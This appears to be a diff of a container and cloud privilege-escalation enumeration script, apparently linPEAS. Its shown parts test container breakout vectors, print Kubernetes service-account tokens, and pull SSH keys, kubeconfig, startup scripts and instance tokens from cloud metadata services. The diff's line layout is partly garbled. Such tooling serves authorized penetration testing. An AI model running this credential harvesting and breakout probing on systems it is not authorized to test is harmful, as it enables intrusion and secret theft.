if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then
|
||||
release_agent_breakout1="Yes"
|
||||
else
|
||||
release_agent_breakout1="No"
|
||||
fi
|
||||
|
||||
release_agent_breakout2="No"
|
||||
mkdir /tmp/cgroup_3628d4
|
||||
mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
release_agent_breakout2="Yes";
|
||||
rm -rf /tmp/cgroup_3628d4
|
||||
else
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
release_agent_breakout2="Yes";
|
||||
rm -rf /tmp/cgroup_3628d4
|
||||
else
|
||||
checkCreateReleaseAgent
|
||||
fi
|
||||
fi
|
||||
rm -rf /tmp/cgroup_3628d4 2>/dev/null
|
||||
|
||||
core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
|
||||
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)"
|
||||
panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
|
||||
panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
|
||||
binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
|
||||
proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)"
|
||||
sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)"
|
||||
kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev
|
||||
kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev
|
||||
mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi
|
||||
kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)"
|
||||
vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)"
|
||||
efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)"
|
||||
efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)"
|
||||
}
|
||||
|
||||
|
||||
##############################################
|
||||
#---------------) Containers (---------------#
|
||||
##############################################
|
||||
containerCheck
|
||||
|
||||
print_2title "Container related tools present (if any):"
|
||||
print_2title "Container related tools present"
|
||||
command -v docker
|
||||
command -v lxc
|
||||
command -v rkt
|
||||
@@ -226,11 +137,6 @@ command -v kubectl
|
||||
command -v podman
|
||||
command -v runc
|
||||
|
||||
if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
|
||||
print_2title "Am I Containered?"
|
||||
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
|
||||
fi
|
||||
|
||||
print_2title "Container details"
|
||||
print_list "Is this a container? ...........$NC $containerType"
|
||||
|
||||
@@ -262,7 +168,7 @@ if echo "$containerType" | grep -qi "docker"; then
|
||||
print_2title "Docker Container details"
|
||||
inDockerGroup
|
||||
print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
|
||||
print_list "Looking and enumerating Docker Sockets\n"$NC
|
||||
enumerateDockerSockets
|
||||
print_list "Docker version .................$NC$dockerVersion"
|
||||
checkDockerVersionExploits
|
||||
@@ -270,8 +176,7 @@ if echo "$containerType" | grep -qi "docker"; then
|
||||
print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
if [ "$inContainer" ]; then
|
||||
checkDockerRootless
|
||||
print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
|
||||
echo ""
|
||||
print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
|
||||
fi
|
||||
if df -h | grep docker; then
|
||||
print_2title "Docker Overlays"
|
||||
@@ -279,121 +184,35 @@ if echo "$containerType" | grep -qi "docker"; then
|
||||
fi
|
||||
fi
|
||||
|
||||
#If token secrets mounted
|
||||
if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then
|
||||
print_2title "Listing mounted tokens"
|
||||
print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod"
|
||||
ALREADY="IinItialVaaluE"
|
||||
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
|
||||
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
|
||||
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
|
||||
ALREADY="$ALREADY|$TOKEN"
|
||||
echo "Directory: $i"
|
||||
echo "Namespace: $(cat $i)"
|
||||
echo ""
|
||||
echo $TOKEN
|
||||
echo "================================================================================"
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$inContainer" ]; then
|
||||
echo ""
|
||||
print_2title "Container & breakout enumeration"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
|
||||
print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
|
||||
if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout"
|
||||
print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')"
|
||||
if echo "$containerType" | grep -qi "docker"; then
|
||||
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
|
||||
fi
|
||||
print_list "Seccomp enabled? ............... "$NC
|
||||
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
|
||||
|
||||
print_list "AppArmor profile? .............. "$NC
|
||||
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
|
||||
|
||||
print_list "User proc namespace? ........... "$NC
|
||||
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
|
||||
|
||||
checkContainerExploits
|
||||
print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
|
||||
print_3title "Breakout via mounts"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
|
||||
|
||||
checkProcSysBreakouts
|
||||
print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
|
||||
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
print_3title "Namespaces"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces"
|
||||
ls -l /proc/self/ns/
|
||||
print_list "Vulnerable to CVE-2019-5021 .. $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
|
||||
if echo "$containerType" | grep -qi "kubernetes"; then
|
||||
print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n"
|
||||
print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n"
|
||||
echo ""
|
||||
|
||||
print_2title "Kubernetes Information"
|
||||
print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod"
|
||||
|
||||
echo ""
|
||||
|
||||
print_3title "Kubernetes service account folder"
|
||||
ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_3title "Kubernetes env vars"
|
||||
(env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType="
|
||||
echo ""
|
||||
|
||||
print_3title "Current sa user k8s permissions"
|
||||
print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles"
|
||||
kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \
|
||||
"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
||||
-X 'POST' -H 'Content-Type: application/json' \
|
||||
--header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED},"
|
||||
|
||||
(env | set) | grep -Ei "kubernetes|kube"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
print_2title "Container Capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape"
|
||||
if [ "$(command -v capsh)" ]; then
|
||||
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
|
||||
else
|
||||
defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
|
||||
cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
|
||||
echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
|
||||
fi
|
||||
echo ""
|
||||
|
||||
print_2title "Privilege Mode"
|
||||
@@ -409,7 +228,7 @@ if [ "$inContainer" ]; then
|
||||
echo ""
|
||||
|
||||
print_2title "Interesting Files Mounted"
|
||||
(mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g"
|
||||
(mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,docker.sock,${SED_RED_YELLOW},"
|
||||
echo ""
|
||||
|
||||
print_2title "Possible Entrypoints"
|
||||
|
||||
@@ -1,504 +0,0 @@
|
||||
###########################################
|
||||
#-----------) Cloud functions (-----------#
|
||||
###########################################
|
||||
|
||||
GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append"
|
||||
GCP_BAD_SCOPES="/cloud-platform|/compute"
|
||||
|
||||
exec_with_jq(){
|
||||
if [ "$(command -v jq)" ]; then
|
||||
$@ | jq 2>/dev/null;
|
||||
if ! [ $? -eq 0 ]; then
|
||||
$@;
|
||||
fi
|
||||
else
|
||||
$@;
|
||||
fi
|
||||
}
|
||||
|
||||
check_gcp(){
|
||||
is_gcp="No"
|
||||
if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
|
||||
is_gcp="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_do(){
|
||||
is_do="No"
|
||||
if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then
|
||||
is_do="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_ibm_vm(){
|
||||
is_ibm_vm="No"
|
||||
if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then
|
||||
curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1
|
||||
if [ "$?" -eq 0 ]; then
|
||||
IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) )
|
||||
is_ibm_vm="Yes"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_ecs(){
|
||||
is_aws_ecs="No"
|
||||
if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
|
||||
is_aws_ecs="Yes";
|
||||
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4;
|
||||
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
|
||||
elif (env | grep -q ECS_CONTAINER_METADATA_URI); then
|
||||
is_aws_ecs="Yes";
|
||||
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI;
|
||||
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
|
||||
elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
|
||||
is_aws_ecs="Yes";
|
||||
fi
|
||||
|
||||
if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
|
||||
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_ec2(){
|
||||
is_aws_ec2="No"
|
||||
is_aws_ec2_beanstalk="No"
|
||||
|
||||
if [ -d "/var/log/amazon/" ]; then
|
||||
is_aws_ec2="Yes"
|
||||
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
|
||||
else
|
||||
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then
|
||||
is_aws_ec2="Yes"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then
|
||||
is_aws_ec2_beanstalk="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_lambda(){
|
||||
is_aws_lambda="No"
|
||||
|
||||
if (env | grep -q AWS_LAMBDA_); then
|
||||
is_aws_lambda="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_codebuild(){
|
||||
is_aws_codebuild="No"
|
||||
|
||||
if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then
|
||||
is_aws_codebuild="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_az_vm(){
|
||||
is_az_vm="No"
|
||||
|
||||
if [ -d "/var/log/azure/" ]; then
|
||||
is_az_vm="Yes"
|
||||
|
||||
elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then
|
||||
is_az_vm="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_az_app(){
|
||||
is_az_app="No"
|
||||
|
||||
if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then
|
||||
is_az_app="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
check_gcp
|
||||
print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_ecs
|
||||
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_ec2
|
||||
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_lambda
|
||||
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_codebuild
|
||||
print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_do
|
||||
print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_ibm_vm
|
||||
print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_az_vm
|
||||
print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_az_app
|
||||
print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
|
||||
echo ""
|
||||
|
||||
if [ "$is_gcp" = "Yes" ]; then
|
||||
gcp_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"'
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"'
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
|
||||
if [ "$gcp_req" ]; then
|
||||
print_2title "Google CLoud Platform Enumeration"
|
||||
print_info "https://book.hacktricks.xyz/cloud-security/gcp-security"
|
||||
|
||||
## GC Project Info
|
||||
p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
|
||||
[ "$p_id" ] && echo "Project-ID: $p_id"
|
||||
p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
|
||||
[ "$p_num" ] && echo "Project Number: $p_num"
|
||||
pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys')
|
||||
[ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k"
|
||||
p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true')
|
||||
[ "$p_attrs" ] && echo "All Project Attributes: $p_attrs"
|
||||
|
||||
# OSLogin Info
|
||||
osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users)
|
||||
[ "$osl_u" ] && echo "OSLogin users: $osl_u"
|
||||
osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups)
|
||||
[ "$osl_g" ] && echo "OSLogin Groups: $osl_g"
|
||||
osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys)
|
||||
[ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk"
|
||||
osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize)
|
||||
[ "$osl_au" ] && echo "OSLogin Authorize: $osl_au"
|
||||
|
||||
# Instance Info
|
||||
inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description)
|
||||
[ "$inst_d" ] && echo "Instance Description: "
|
||||
inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname)
|
||||
[ "$inst_hostn" ] && echo "Hostname: $inst_hostn"
|
||||
inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
|
||||
[ "$inst_id" ] && echo "Instance ID: $inst_id"
|
||||
inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image)
|
||||
[ "$inst_img" ] && echo "Instance Image: $inst_img"
|
||||
inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type)
|
||||
[ "$inst_mt" ] && echo "Machine Type: $inst_mt"
|
||||
inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name)
|
||||
[ "$inst_n" ] && echo "Instance Name: $inst_n"
|
||||
inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags)
|
||||
[ "$inst_tag" ] && echo "Instance tags: $inst_tag"
|
||||
inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
|
||||
[ "$inst_zone" ] && echo "Zone: $inst_zone"
|
||||
|
||||
inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location")
|
||||
[ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc"
|
||||
inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name")
|
||||
[ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name"
|
||||
inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin")
|
||||
[ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e"
|
||||
inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels")
|
||||
[ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab"
|
||||
inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig")
|
||||
[ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec"
|
||||
inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env")
|
||||
[ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv"
|
||||
|
||||
echo ""
|
||||
print_3title "Interfaces"
|
||||
for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do
|
||||
echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
||||
echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
||||
echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
||||
echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
||||
echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
||||
echo " ============== "
|
||||
done
|
||||
|
||||
echo ""
|
||||
print_3title "User Data"
|
||||
echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
|
||||
echo ""
|
||||
|
||||
echo ""
|
||||
print_3title "Service Accounts"
|
||||
